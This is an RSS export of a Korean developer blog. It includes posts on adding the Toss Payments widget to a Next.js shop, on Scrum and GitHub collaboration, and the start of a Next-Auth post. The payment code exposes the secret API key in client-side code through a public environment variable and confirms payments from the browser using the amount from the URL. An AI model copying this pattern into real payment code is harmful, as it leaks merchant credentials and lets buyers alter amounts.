<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>gonggi_bab.log</title>
        <link>https://velog.io/</link>
        <description>인생 저장소</description>
        <lastBuildDate>Mon, 17 Jul 2023 02:45:51 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>gonggi_bab.log</title>
            <url>https://velog.velcdn.com/images/gonggi_bab/profile/108aa496-d58a-41ba-9c54-b6e4f42893e2/image.jpg</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. gonggi_bab.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/gonggi_bab" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[주문 기능 개발과 토스 페이먼츠 도입]]></title>
            <link>https://velog.io/@gonggi_bab/%EC%A3%BC%EB%AC%B8-%EA%B8%B0%EB%8A%A5-%EA%B0%9C%EB%B0%9C%EA%B3%BC-%ED%86%A0%EC%8A%A4-%ED%8E%98%EC%9D%B4%EB%A8%BC%EC%B8%A0-%EB%8F%84%EC%9E%85</link>
            <guid>https://velog.io/@gonggi_bab/%EC%A3%BC%EB%AC%B8-%EA%B8%B0%EB%8A%A5-%EA%B0%9C%EB%B0%9C%EA%B3%BC-%ED%86%A0%EC%8A%A4-%ED%8E%98%EC%9D%B4%EB%A8%BC%EC%B8%A0-%EB%8F%84%EC%9E%85</guid>
            <pubDate>Mon, 17 Jul 2023 02:45:51 GMT</pubDate>
            <description><![CDATA[<p>쇼핑몰의 가장 중요한 기능이 무엇일까?  당연하다. 물건을 고르고 살 수 있어야 한다.</p>
<p>나는 웹에서의 주문과 결제에 대해서 아무것도 아는 것이 없었다.
실제 고객들의 돈이 오고 가는 중요한 기능이라 오류가 발생하면 어떡하나 마냥 두렵기도 했다.  그래도 일단 해봐야 알지 않겠는가?
이번 프로젝트에서 어떤 과정을 통해 어떻게 해당 기능을 공부하고 구현했는지 정리해 보았다.</p>
<h2 id="pg사-선택하기">PG사 선택하기</h2>
<p>웹에서 발생하는 결제의 대부분은 카드결제와 간편결제다. 그렇다면 카드, 간편 결제를 하기위해 수많은 카드사와 계약을 해야 할까?</p>
<p>이럴때 우리를 도와주는 것이 <code>전자결제 지급대행사</code> 로 <code>PG사</code> 라고도 부른다.  PG사는 여러 카드사와 계약을 채결하고 개인 사업자에게 수수료를 받으며 결제 및 지불을 대행하는 회사로 카드결제, 간편결제, 계좌이체, 가상계좌(무통장입금) 등 다양한 결제 방식을 온라인에서 편하게 연동할 수 있게 해주는 서비스를 제공해 준다.
<img src="https://velog.velcdn.com/images/gonggi_bab/post/c92ce256-df16-4bbb-a765-2e3a3cdea966/image.png" alt="PG사와 내 쇼핑몰"></p>
<p>일단은 국내 결제만 고려하기로 결정했고 토스페이먼츠, KG이니시스, 나이스 페이먼츠등 잘 알려진 국내 PG사들 중 <code>토스페이먼츠</code>를 이용하기로 했다. 기본으로 제공하는 결제 위젯이 마음에 가장 들었고 제공하는 개발자 문서와 예시가 정말 잘 정리 되어 있어서 정해진 결정 이였다.</p>
<br/>

<h2 id="프로젝트에-적용하기">프로젝트에 적용하기</h2>
<p>결제 연동에 필요한 과정은 토스페이먼츠 개발자 페이지에 너무도 자세히 설명해주고 있어서 큰 어려움 없이 적용할 수 있었다. 참고했던 자료들은 아래에 첨부했다.</p>
<p><a href="https://docs.tosspayments.com/guides/index">토스페이먼츠 개발 가이드</a>
<a href="https://github.com/tosspayments/payment-widget-sample/">토스페이먼츠 결제위젯 샘플 깃헙</a></p>
<h3 id="토스-페이먼츠의-결제-과정">토스 페이먼츠의 결제 과정</h3>
<p><img src="https://velog.velcdn.com/images/gonggi_bab/post/ec9d38bf-5d10-4b82-994b-b0c9ca34e465/image.png" alt="토스의 결제 인증과 승인 과정"></p>
<p>시작하기 이전에 먼저 간단하게 결제 과정이 어떻게 흘러가는지 알아보자.</p>
<p>토스에 결제를 요청하면 <code>인증</code> 과 <code>승인</code> 과정이 차례대로 진행된다.
여기서 <code>인증</code>은 결제 정보가 올바른지 검증하는 과정이고 <code>승인</code> 은 인증에 성공한 결제를 최종 승인하는 과정이다. 승인 요청에 성공하면 결제 요청 과정이 끝나게 된다.</p>
<p>또한, 이 인증과 승인 사이에 <code>리다이렉트</code> 과정이 있다.
토스에서 인증 결과를 URL의 쿼리 파라미터에 담아 리다이렉트하면, 해당 정보를 받아 결제 승인을 처리하는 개념이다.</p>
<p>결제 요청 과정에 대한 더 자세한 설명은 <a href="https://blog.tossbusiness.com/articles/paytech-3?from=category">이 블로그 포스트</a>에서 확인할 수 있다.</p>
<h3 id="api-키-설정하기">API 키 설정하기</h3>
<p>제일 먼저 할일은 API 키를 받아와서 환경 변수에 저장하는 것이다.
토스페이먼츠 에서는 회원가입 하기 전에도 테스트 키를 제공받아 볼 수 있고 가입 이후엔 나만의 테스트 키를 지급 받는다. </p>
<pre><code class="language-javascript">// 문서 테스트 키
// 토스페이먼츠 회원가입하기 전이라면 아래 키로 결제위젯을 연동하세요.
const clientKey = &#39;test_ck_D5GePWvyJnrK0W0k6q8gLzN97Eoq&#39;
const secretKey = &#39;test_sk_zXLkKEypNArWmo50nX3lmeaxYG5R&#39;

// 내 테스트 키
// 토스페이먼츠에 회원가입을 완료했다면 아래 키로 결제위젯을 연동하세요.
// 로그인하면 문서의 API 키가 모두 내 테스트 키로 변경됩니다.
const clientKey = &lt;개인 클라이언트키&gt;
const secretKey = &lt;개인 시크릿키&gt;
</code></pre>
<p>이 테스트 키를 이용하면 실제 결제는 진행되지 않지만 모든 결제 로직을 테스트 해보고 토스 개발자센터에서 결제 내역을 확인해 볼 수 있다.</p>
<h3 id="결제-위젯-그리기">결제 위젯 그리기</h3>
<p>개발자 홈페이지엔 기본적으로 결제 위젯을 그리는 샘플 자바스크립트 코드가 제공되어 있었고 나는 토스에서 제공해주는 리액트 샘플 코드를 참고해서 프로젝트에 적용했다. ( 최근에 다시 보니 nextjs 코드도 업데이트 되어있다 )</p>
<h4 id="제일-먼저-토스페이먼츠-sdk-를-추가해준다">제일 먼저 <code>토스페이먼츠 sdk</code> 를 추가해준다.</h4>
<pre><code class="language-bash">$ yarn add @tosspayments/payment-widget-sdk</code></pre>
<br/>

<h4 id="그-이후-결제창을-띄우고-싶은-주문-페이지로-가서-결제-위젯을-띄워준다">그 이후 결제창을 띄우고 싶은 주문 페이지로 가서 결제 위젯을 띄워준다.</h4>
<p>위젯 인스턴스를 생성하기 위해서 <code>clientKey</code> 와 <code>customerKey</code> 가 필요하다.
<code>clientKey</code> 에는 앞서 저장한 환경 변수값을 넣었는데 <code>customerKey</code> 이 녀석은 뭐하는 녀석인가. 역시 토스 개발자 문서에 자세히 나와 있다.</p>
<blockquote>
<p><code>customerKey</code> 는 상점에서 고객을 구분하기 위해 사용되며 다른 사용자가 이 값을 알게 되면 악의적으로 사용가능 함으로 충분히 무작위적인 고유한 값을 사용해야 한다. 또, 고객에게 할당된 키는 변경없이 항상 같은 값이어야 한다.
해당 키는 재구매율, 이탈률, 구매전환율 등을 측정하거나 결제창에서 이탈한 고객을 다시 결제로 유도하는데 이용된다.</p>
</blockquote>
<p>따라서 나는 <code>customerKey</code> 에는 DB에 저장되어 있는 <code>id</code> 값을 사용했다.
만약, 비회원 주문일 경우에는 sdk 에서 제공해주는 <code>ANONYMOUS</code> 값으로 지정해주면 된다.
그리고 결제할 금액의 양까지 지정해주면 일단 위젯 뛰우기는 성공!</p>
<pre><code class="language-tsx">// ../order.tsx

import { useEffect, useRef } from &quot;react&quot;;
import {
  loadPaymentWidget,
  PaymentWidgetInstance,
  ANONYMOUS,
} from &quot;@tosspayments/payment-widget-sdk&quot;;
import { nanoid } from &quot;nanoid&quot;;

export default function Order() {
  const { data } = useSession();
  const paymentWidgetRef = useRef&lt;PaymentWidgetInstance | null&gt;(null);
  const paymentMethodsWidgetRef = useRef&lt;ReturnType&lt;
    PaymentWidgetInstance[&quot;renderPaymentMethods&quot;]
  &gt; | null&gt;(null);

  const clientKey = process.env.NEXT_PUBLIC_PAYMENTS_CLIENT!;
  const customerKey = data ? data.user?.id! : ANONYMOUS;
  const price = 15000;

  useEffect(() =&gt; {
    // 결제창 로드
    (async () =&gt; {
      const paymentWidget = await loadPaymentWidget(clientKey, customerKey);

      const paymentMethodsWidget = paymentWidget.renderPaymentMethods(
           &quot;#payment-widget&quot;,
        price,
      );
      paymentWidget.renderAgreement(&quot;#agreement&quot;);

      paymentWidgetRef.current = paymentWidget;
      paymentMethodsWidgetRef.current = paymentMethodsWidget;
    })();
  }, []);

  return (
    &lt;main&gt;
      &lt;div&gt;
        &lt;div id=&quot;payment-widget&quot; /&gt;
        &lt;div id=&quot;agreement&quot; /&gt;
      &lt;/div&gt;
    &lt;/main&gt;
  );
}
</code></pre>
<br/>

<h3 id="결제-요청하기">결제 요청하기</h3>
<p>그 다음 결제하기 버튼을 클릭했을 때 호출할 함수를 만들어 준다.
버튼을 클릭했을 때 앞서 만든 위젯 인스턴스의 <code>requestPayment</code> 함수를 호출하면 된다. 해당 함수를 호출할 때 다음과 같은 값들을 지정해 줘야한다: <code>orderId</code>, <code>orderName</code>, <code>customerName</code>, <code>successUrl</code>, <code>failUrl</code> .</p>
<h4 id="주문번호-생성하기">주문번호 생성하기</h4>
<p>이 중에서 <code>orderId</code> 는 나중에 주문 정보 트랙킹을 위해 사용되고 CS 처리 및 사용자 편의성을 고려해 따로 생성 로직을 구현했다. 따라서 다음과 같은 규칙들을 고려해서 설정했다:</p>
<ul>
<li><strong>주문별로 고유한 값</strong></li>
<li><strong>주문에 대한 대략적인 정보를 담고있음</strong> (업무효율성 향상)</li>
<li><strong>고정된 길이 + 최대한 짧은 길이</strong> (고객실수 방지)</li>
</ul>
<p>따라서 다음과 같은 형태로 주문 번호를 생성하기로 했다.</p>
<blockquote>
<p><strong>연월일(YYMMDD) + 모든 영문자 5자리</strong></p>
</blockquote>
<pre><code class="language-tsx">// ../order.tsx

import { customAlphabet } from &quot;nanoid&quot;;

// 주문번호 생성 로직
const today = new Date();
const year = today.getFullYear().toString().slice(-2);
const month = (today.getMonth() + 1).toString().padStart(2, &quot;0&quot;);
const day = today.getDate().toString().padStart(2, &quot;0&quot;);
const yymmdd = year + month + day;

const customNanoid = customAlphabet(
  &quot;1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;,
  5
);
const orderId = yymmdd + customNanoid();</code></pre>
<h4 id="리다이렉트-경로-설정하기">리다이렉트 경로 설정하기</h4>
<p>그 다음으로는 <code>successUrl</code> 와 <code>failUrl</code> 을 설정해 주어야 한다.
이 두 경로는 각각 결제 인증에 성공했을 때 그리고 실패했을 때 리다이렉트 될 경로다.</p>
<p>해당 정보들을 모두 입력해 준 뒤 코드는 다음과 같다:</p>
<pre><code class="language-tsx">// ../order.tsx

const proceedPayment = async () =&gt; {
    const paymentWidget = paymentWidgetRef.current;

    try {
      await paymentWidget?.requestPayment({
        orderId: orderId,
        orderName: orderTitle,
        customerName: data ? data.user?.name! : newAdrs.name,
        successUrl: `${window.location.origin}/order/success`,
        failUrl: `${window.location.origin}/order/fail`,
      });
    } catch (err) {
      console.log(err);
    }
  };

return (
    &lt;main&gt;
      &lt;div&gt;
        &lt;div id=&quot;payment-widget&quot; /&gt;
        &lt;div id=&quot;agreement&quot; /&gt;
        &lt;button
          type=&quot;button&quot;
          onClick={proceedPayment}
        &gt;
          결제하기
        &lt;/button&gt;
      &lt;/div&gt;
    &lt;/main&gt;
  );
};
</code></pre>
<br/>

<h3 id="결제-승인하기">결제 승인하기</h3>
<p>결제 승인 과정은 결제 요청 때 저장해 둔 결제 정보와 요청 결과로 돌아온 결제 정보 값이 같은지 검증하는 과정이다. 즉 클라이언트에서 결제 금액을 조작해 승인하는 행위를 방지하기 위해 거치는 과정이다.</p>
<p>앞서 진행한 결제 요청이 성공하게 되면 설정해놓은 <code>successUrl</code> 로 리다이렉트 되게 되는데 이때 URL에 포함된 파라미터를 사용해 결제 승인을 요청할 수 있다.</p>
<p>결제 성공 URL은 다음과 같은 형태의 쿼리 파라미터를 전달 받는다.</p>
<pre><code class="language-tsx">https://{ORIGIN}/success?paymentKey={PAYMENT_KEY}&amp;orderId={ORDER_ID}&amp;amount={AMOUNT}&amp;paymentType={PAYMENT_TYPE}</code></pre>
<p>구현한 결제 인증 과정은 다음과 같다.</p>
<pre><code class="language-tsx">// ../order/success.tsx

import { useEffect } from &quot;react&quot;;
import { useRouter } from &quot;next/router&quot;;
import { useSearchParams } from &quot;next/navigation&quot;;
import axios from &quot;axios&quot;;

import { OrderConfirmType } from &quot;common/types/tosspayments&quot;;
import Loader from &quot;components/Loader/Loader&quot;;

export default function Success() {
  const router = useRouter();
  const searchParams = useSearchParams();

  const secretKey = process.env.NEXT_PUBLIC_PAYMENTS_SECRET!;
  const orderId = searchParams.get(&quot;orderId&quot;);
  const paymentKey = searchParams.get(&quot;paymentKey&quot;);
  const amount = searchParams.get(&quot;amount&quot;);
  const authKey = btoa(secretKey + &quot;:&quot;);

  // 서버로 결제 승인 요청 보내기
  useEffect(() =&gt; {
    if (
      !orderId ||
      !paymentKey ||
      !amount ||
      !authKey
    )
      return;

    const getOrderConfirmData = async () =&gt; {
      try {
        const confirm = await axios.post(
          &quot;https://api.tosspayments.com/v1/payments/confirm&quot;,
          { paymentKey: paymentKey, amount: amount, orderId: orderId },
          {
            headers: {
              Authorization: `Basic ${authKey}`,
              &quot;Content-Type&quot;: &quot;application/json&quot;,
            },
          }
        );

        router.push(`/order/confirmation/${order.data.data.id}`);
      } catch (error) {
        console.log(
          &quot;결제 승인 및 주문 저장과정에서 에러가 발생했습니다. &quot; + error
        );
      }
    };

    getOrderConfirmData();

  }, [amount, authKey, data, orderId, paymentKey]);

  return &lt;Loader isLoading={true} /&gt;;
}</code></pre>
<br/>

<h2 id="느낀점">느낀점</h2>
<p>처음에 회원인 사용자들만 결제할 수 있도록 설계를 했는데 이후 비회원 주문 기능을 추가하면서 여러 오류가 발생했다. 일단은 발생하는 에러들을 해결해 놓은 상태이지만 만약에 또 로직을 변경해야 하는 일이 있다면 또 많은 문제가 발생할 수 있었다. </p>
<p>코드를 변경할 때마다 어디서 오류가 발생할지 알수가 없게되고 변경한 코드를 신뢰할 수 없게되는 경험은 결코 즐겁지 않은 경험이였고 만약 개인 프로젝트가 아닌 여러명이 작업하고 있었다면 문제는 더 커질 것 같았다. 이런 경험으로 왜 코드를 리팩토링하고 모듈화 하는지 그리고 왜 테스트 코드가 중요한지 느낄 수 있었다.</p>
<p>그리고 토스 페이먼츠에서 제공하는 개발자 문서에 감명 받았다. 최근에 작은 사이드 프로젝트를 진행했는데, 세네명만 협업하는데도 api가 잘 정리되어 있지 않으면 혼란스럽고 프로젝트 진행이 더뎌지는 경험을 했다. 반면 토스 개발자 문서는 다른 자료를 전혀 참고할 필요가 없을 정도로 상세하게 잘 정리되어 있었다.</p>
<p>이번 작업을 하면서 그냥 생각나는데로 기능 구현하기 급급하던 내 모습을 반성하게 되었다. 코드의 신뢰성을 높이고 문서화의 중요성을 알 수 있었다.</p>
<br/>

<hr>
<h3 id="레퍼런스">레퍼런스</h3>
<p><a href="https://docs.tosspayments.com/guides/index">토스페이먼츠 개발 가이드</a>
<a href="https://github.com/tosspayments/payment-widget-sample/">토스페이먼츠 결제위젯 샘플 깃헙</a>
<a href="https://velog.io/@dochis/CS%EC%B2%98%EB%A6%AC%EC%97%90-%ED%9A%A8%EC%9C%A8%EC%A0%81%EC%9D%B8-%EC%A3%BC%EB%AC%B8%EB%B2%88%ED%98%B8-%EB%A7%8C%EB%93%A4%EA%B8%B0-%EC%A3%BC%EB%AC%B8%EB%B2%88%ED%98%B8-%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98">CS처리에-효율적인-주문번호-만들기-주문번호-알고리즘</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[프로젝트 협업에 대한 고민]]></title>
            <link>https://velog.io/@gonggi_bab/%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%ED%98%91%EC%97%85%EC%97%90-%EB%8C%80%ED%95%9C-%EA%B3%A0%EB%AF%BC</link>
            <guid>https://velog.io/@gonggi_bab/%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%ED%98%91%EC%97%85%EC%97%90-%EB%8C%80%ED%95%9C-%EA%B3%A0%EB%AF%BC</guid>
            <pubDate>Thu, 06 Jul 2023 11:25:20 GMT</pubDate>
            <description><![CDATA[<p>저번 팀 프로젝트를 진행하면서 했던 고민과 공부했던 이론 그리고 해당 이론을 적용하는데 사용한 툴들에 대해 전반적으로 정리해 보았다. 나를 포함해서 프로젝트에 참여하는 인원들 모두 취준생 아니면 학생 이였기 때문에 협업에 능숙한 사람은 없었고 그렇기 때문에 이번 기회가 공부하고 실제로 적용해 보기 좋은 기회라고 생각했다.</p>
<p>개발 협업에 대한 주워들은 지식과 추가적인 정보 탐색 이후 진행할 프로젝트에 적용할 방식과 툴을 어느정도 정했다. 결과적으로 <code>Scrum</code> 개발 방식과 <code>Github</code> 를 프로젝트 관리에 사용하기로 결정했다.</p>
<h2 id="scrum-개발론">Scrum 개발론</h2>
<hr>
<p>스크럼 방식은 <strong>비즈니스 요구에 집중</strong>해서 작은 목표들을 짧은 주기로 <strong>점진적</strong>이고 <strong>지속적</strong>으로 개발하는 관리 기법이다.</p>
<p><img src="https://velog.velcdn.com/images/gonggi_bab/post/248b2cc9-b323-4789-99a4-8db37d5f4beb/image.png" alt="scrum 방법론"></p>
<h2 id="스크럼-개발론의-특징">스크럼 개발론의 특징</h2>
<ul>
<li>프로젝트에 포함할 기능/개선점에 대해 우선순위를 부여한다</li>
<li>개발주기는 1~4주로 하고 매 주기마다 실제 동작하는 결과를 제공하라</li>
<li>매일 15분 정도의 scrum meeting 을 가져라</li>
<li>항상 팀을 우선으로 생각하라. 자신의 업무보다 주변 이슈가 더 급하면 도와줘야 한다.<br/>

</li>
</ul>
<h2 id="프로젝트의-개발론-적용">프로젝트의 개발론 적용</h2>
<p>프로젝트의 기한을 한달 정도르 짧게 잡았기 때문에 <code>sprint</code>의 주기를 7일로 정했다.</p>
<p>매일마다 팀원들과 <code>scrum meeting</code> 을 진행했고 미팅 미닛을 작성해서 보관했다. 미팅은 모두 온라인으로 이루어졌고 <code>Discord</code> 의 화상 미팅을 통해 서로 화면을 공유하면서 진행했다.</p>
<p><img src="https://velog.velcdn.com/images/gonggi_bab/post/c0347f56-6397-4b52-91ac-da600358ecbe/image.png" alt="팀 Notion 에 보관중인 미팅 미닛들"></p>
<p>그 후 스크럼 방식을 더 효과적으로 프로젝트에 적용하기 위해 <code>Jira</code> 와 <code>Github</code> 같은 툴을 사용했다.
<br/></p>
<h2 id="jira">JIRA</h2>
<hr>
<p>많은 회사에서 사용하고 있는 이슈관리 툴이라는 이야기를 듣고 프로젝트에 적용해서 사용해보기로 한다.</p>
<p>전체 프로젝트 기간동안의 각 스프린트 마다 달성할 목표를 정하고, 해당 스프린트 아래에 구현할 기능 목록인 백로그를 작성해서 정리했다. 그리고 스크럼 보드를 통해 팀원들이 서로의 진행 상황을 확인하고 공유했다.</p>
<p>하지만 이후 Github 이 제공하는 issue 와 project 탭 사용방법에 대해서 알게 되면서 사용빈도가 줄고 결국 사용하지 않게 되었다.</p>
<details>
  <summary><strong>JIRA 설정 스크린샷</strong></summary>

<p><img src="https://velog.velcdn.com/images/gonggi_bab/post/bf08b9ec-4fc6-4049-bc79-9b258cedc52d/image.png" alt="전체 프로젝트 기간의 스프린트별 목표 설정"></p>
<p><img src="https://velog.velcdn.com/images/gonggi_bab/post/2458dbbc-198b-4629-9704-ceb22f619474/image.png" alt="각 스프린트별 백로그 목록 정리"></p>
<p><img src="https://velog.velcdn.com/images/gonggi_bab/post/0c946325-c50a-4eaa-85bc-5e6bc7bbd875/image.png" alt="스크럼 보드를 통한 작업 상황 공유"></p>
</details>

<h1 id="github">GitHub</h1>
<hr>
<p>협업의 용도로써 깃을 거의 사용해 본적이 없던 나는 말그대로 코드 저장소의 역할로써 깃을 사용해왔다.</p>
<p>하지만 팀원들과 여러 기능들에 대해 공부해보니 깃헙에서 제공하는 여러 유용한 툴들과 개발 방식에 대해 알게 되었고 프로젝트에 바로 적용했다.</p>
<br/>

<h2 id="깃-브랜치-전략">깃 브랜치 전략</h2>
<p>Git-Flow 라는 브랜치 구조를 참고했으면 해당 구조는 아래와 같다.</p>
<p><img src="https://velog.velcdn.com/images/gonggi_bab/post/fc912888-ae76-43d1-9cf0-f2113e6ed087/image.png" alt="Git-Flow"></p>
<ul>
<li><strong><code>main</code></strong> : 배포할 라이브 서버에 연결될 브랜치.</li>
<li><strong><code>dev</code></strong> : 다음 출시 버전을 대비하여 개발하는 브랜치.</li>
<li><strong><code>topic</code></strong> :  추가 기능 개발 브랜치. dev 브랜치에서 작업할 이슈별로 topic 브랜치를 나눠서 개발한다. 이 각각의 브랜치는 기능을 완성할 때 까지 유지하고, 다 완성되면 dev 브랜치에 merge 하고 결과가 좋지 않다면 버리는 방식으로 개발한다.</li>
</ul>
<br/>

<h3 id="프로젝트에는-간략화-된-git-flow-구조를-사용했다">프로젝트에는 간략화 된 git-flow 구조를 사용했다</h3>
<p><img src="https://velog.velcdn.com/images/gonggi_bab/post/52f6dcc0-8910-45b8-8b6f-c4951891f030/image.png" alt="간략화 된 git-flow"></p>
<h4 id="브랜치-이름은-다음-형태로-정했다">브랜치 이름은 다음 형태로 정했다:</h4>
<pre><code>    &lt;종류&gt;-&lt;이슈넘버&gt;-&lt;내용요약&gt; (e.g. `feat-13-loginpage`)</code></pre><h4 id="토픽-종류는-간단하게-3가지로-정했다">토픽 종류는 간단하게 3가지로 정했다:</h4>
<ul>
<li><code>feat</code> : 기능개발</li>
<li><code>fix</code> : 기능 수정</li>
<li><code>refactor</code> : 코드 리팩토링</li>
</ul>
<br/>

<h2 id="이슈">이슈</h2>
<p>이슈는 프로젝트의 작업, 개산 사항 및 버그를 추적하는 좋은 방법으로 사용되며 모든 활동 내역에 대해서 이슈를 등록하고 등록한 이슈를 기반으로 작업을 진행할 수 있다.</p>
<p>새로운 이슈를 추가하고 싶을 때는 이슈 탭 안에 <code>New issue</code> 버튼을 사용해서 간단히 만들 수 있다. 또한 미리 이슈 템플릿을 만들어 이슈 형태를 통일시킬 수 있다.</p>
<h3 id="이슈-템플릿-추가-방법">이슈 템플릿 추가 방법</h3>
<p>프로젝트의 깃의 탭 중에서 설정 탭 아래에서 템플릿을 추가할 수 있다.</p>
<blockquote>
<p><code>Settings</code> → <code>General</code> → <code>Features</code> → <code>Issues</code> → <code>Set up Templates</code></p>
</blockquote>
<p>프로젝트가 복잡하고 크지 않기 때문에 아래와 같은 간단한 형태의 템플릿을 만들어서 사용했다 :</p>
<pre><code class="language-markup">**설명**
무슨 기능에 대해서 작업하고 싶은지 명료하게 명시

**할일 목록**
- [ ] 할일1
- [ ] 할일1

**참고사항**
추가로 설명해야하는 상황이나 스크린샷등...</code></pre>
<p>이렇게 템플릿을 만들고 나면 자동으로 레포지토리 코드 <code>/.github/ISSUE_TEMPLATE</code> 폴더가 생성되고 그 안에 <code>[템플릿 이름].md</code> 파일이 생성되어 저장된다.</p>
<h3 id="프로젝트의-이슈들">프로젝트의 이슈들</h3>
<p>나는 앞서 만들었던 스크럼 백로그들을 이슈로 등록했다.</p>
<p><img src="https://velog.velcdn.com/images/gonggi_bab/post/3f838f78-f4ae-454a-a29d-b5b6545cca8c/image.png" alt="개발 백로그들을 따라 만들어진 이슈들 (개발중 추가적으로 필요한 기능들은 계속 이슈로 추가했다)"></p>
<p>개발 백로그들을 따라 만들어진 이슈들 (개발중 추가적으로 필요한 기능들은 계속 이슈로 추가했다)</p>
<h3 id="이슈넘버와-커밋">이슈넘버와 커밋</h3>
<p>해당 이슈들을 기반으로 브랜치를 나누고 개발한 코드를 커밋했는데 이때 커밋 메세지에 <code>#이슈넘버</code> 를 포함하면 깃헙에서 해당 커밋을 이슈에서 자동으로 트랙킹 해준다.</p>
<p><img src="https://velog.velcdn.com/images/gonggi_bab/post/80535e71-6647-436f-8f44-fa2be34a8d03/image.png" alt="“Feat: 풋터 개발” 커밋 안에 #21 이슈넘버를 입력함으로써 해당 이슈에서 트랙킹된다."></p>
<p>“Feat: 풋터 개발” 커밋 안에 #21 이슈넘버를 입력함으로써 해당 이슈에서 트랙킹된다.</p>
<p>부가적으로 커밋 형태 역시 아래와 같은 규칙을 정하고 사용했다:</p>
<pre><code class="language-markup">Feat: &quot;회원 가입 기능 구현&quot;

SMS, 이메일 중복확인 API 개발

Ref: #1</code></pre>
<br/>

<h2 id="브랜치-설정과-pull-request">브랜치 설정과 Pull Request</h2>
<h3 id="pull-request">Pull Request</h3>
<p>브런치에 commit 한 내역들 변경된 사항을 다른 사람들에게 알리는 기능으로 지정된 브랜치에 merge 하기 전에 변경사항들에 팀원들과 논의, 검토 할 수 있다.</p>
<p>배포에 앞서 팀원과 같이 검토하고 개발 진행 상황에 따라 코드 리뷰도 진행할 수 있는 좋은 도구라는 생각이 들어 프로젝트에 도입했다.</p>
<h3 id="프로젝트에-pr-설정">프로젝트에 PR 설정</h3>
<p>Settings 탭 아래 Branches 설정 항목에서 각 브랜치 별로 설정을 해줄수가 있었는데 이 프로젝트에서는 <code>main</code> 과 <code>dev</code> 브랜치에 다음과 같이 pull request 설정을 해놨다: </p>
<p><img src="https://velog.velcdn.com/images/gonggi_bab/post/15a77d53-c1ac-4190-9f3e-18b045b02d71/image.png" alt="브랜치 설정"></p>
<p>팀원이 총 3명이였기 때문에 PR 을 머지하기 이전에 나머지 두명의 <code>review</code> 에서 approve 를 받아야만 머지가 완료되는 설정을 추가했다. 이 리뷰는 데일리 미팅 시간에 코드 리뷰 및 진행 상황 공유와 함께 이루어졌고 이 과정을 통해서 팀원 모두가 개발상황을 따라올 수 있게 하는 좋은 방법이라는 생각이 들었다.</p>
<h3 id="pull-request-진행-방식">Pull Request 진행 방식</h3>
<ol>
<li><strong>깃 레포를 clone 해서 로컬에 코드를 가져온다.</strong></li>
</ol>
<pre><code>git clone 레포주소</code></pre><ol>
<li><strong>로컬에서 따로 개발할 브랜치를 만든다.</strong></li>
</ol>
<pre><code>git checkout -b 작업브랜치</code></pre><ol>
<li><strong>작업한 브랜치에 변경사항들을 커밋한 뒤 깃헙 <code>origin</code> 레포에 <code>push</code> 한다.</strong></li>
</ol>
<pre><code>git push origin 작업브랜치</code></pre><ol>
<li><strong>이후 깃헙에서 변경된 코드가 포함된 새로운 브랜치가 생성되고 해당 브랜치에서 <code>pull request</code> 를 생성한다.</strong></li>
<li><strong>깃헙에서 머지가 완료되면 로컬 브랜치에서도 똑같이 작업 브랜치를 머지하고 삭제한다.</strong></li>
</ol>
<pre><code>git checkout dev
git merge 작업브랜치
git branch -d 작업브랜치</code></pre><p><img src="https://velog.velcdn.com/images/gonggi_bab/post/bd3cc3eb-c133-4cc1-868e-b6d4cb98d3af/image.png" alt="생성된 PR 들"></p>
<p>프론트 레포에서 생성하고 머지된 PR들의 모습</p>
<h2 id="느낀점">느낀점</h2>
<p>오픈소스 컨트리뷰트 경험도 없고 제대로된 팀프로젝트를 깃헙에서 경험해보지 못했던 나로서는 이번 프로젝트에서 가장 많이 배운점이 깃헙을 활용한 협업이였다. 대부분의 개념들을 처음 접하고 프로젝트에 적용해보는 거라 실수 투성이에 어수룩한 점들이 많지만 이런 과정들을 통해서 배우는게 아닌가 싶다.</p>
<p>아쉬운 점이 있다면 프론트 개발은 나 혼자서 진행했기 때문에 코드 리뷰를 진행하더라도 팀원들이 전체적인 코드를 정확하게 이해하고 리뷰를 해주지는 못했고 진행상황을 가볍게 공유하는 정도에 그쳤다는 점이다.</p>
<br/>

<hr>
<h3 id="reference">Reference</h3>
<p><a href="https://medium.com/dtevangelist/scrum-dfc6523a3604">[Agile] Scrum(스크럼) 이해하기</a>
<a href="https://inpa.tistory.com/entry/GIT-%E2%9A%A1%EF%B8%8F-github-flow-git-flow-%F0%9F%93%88-%EB%B8%8C%EB%9E%9C%EC%B9%98-%EC%A0%84%EB%9E%B5">[GIT] 📈 깃 브랜치 전략 정리 - Github Flow / Git Flow</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Next-Auth 를 이용한 회원가입 & 로그인]]></title>
            <link>https://velog.io/@gonggi_bab/Next-Auth-%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-%ED%9A%8C%EC%9B%90%EA%B0%80%EC%9E%85-%EB%A1%9C%EA%B7%B8%EC%9D%B8</link>
            <guid>https://velog.io/@gonggi_bab/Next-Auth-%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-%ED%9A%8C%EC%9B%90%EA%B0%80%EC%9E%85-%EB%A1%9C%EA%B7%B8%EC%9D%B8</guid>
            <pubDate>Thu, 29 Jun 2023 06:25:14 GMT</pubDate>
            <description><![CDATA[<h2 id="서론">서론</h2>
<p>최근에 nextjs 프레임워크를 이용하여 쇼핑몰 웹앱 프로젝트를 새로 시작하면서 가장 먼저 고민하게된 문제는 회원가입 및 로그인이였다. 백엔드 서버를 따로 두지 않는 <code>서버리스</code> 구조로 프로젝트를 계획하던 중이라 빠르고 간편하게 인증과 인가 기능을 구현할 수 있는 <code>next-auth</code> 라이브러리를 도입해 보았다.</p>
<h2 id="next-auth-">next-auth ?</h2>
<p><code>next-auth</code> 의 기본 개념과 환경 세팅은 이미 자세하게 잘 설명해놓은 글이 많기 때문에 생략하도록 하고 내가 참고 했던 글 몇개만 첨부하고 넘어가도록 하겠다.</p>
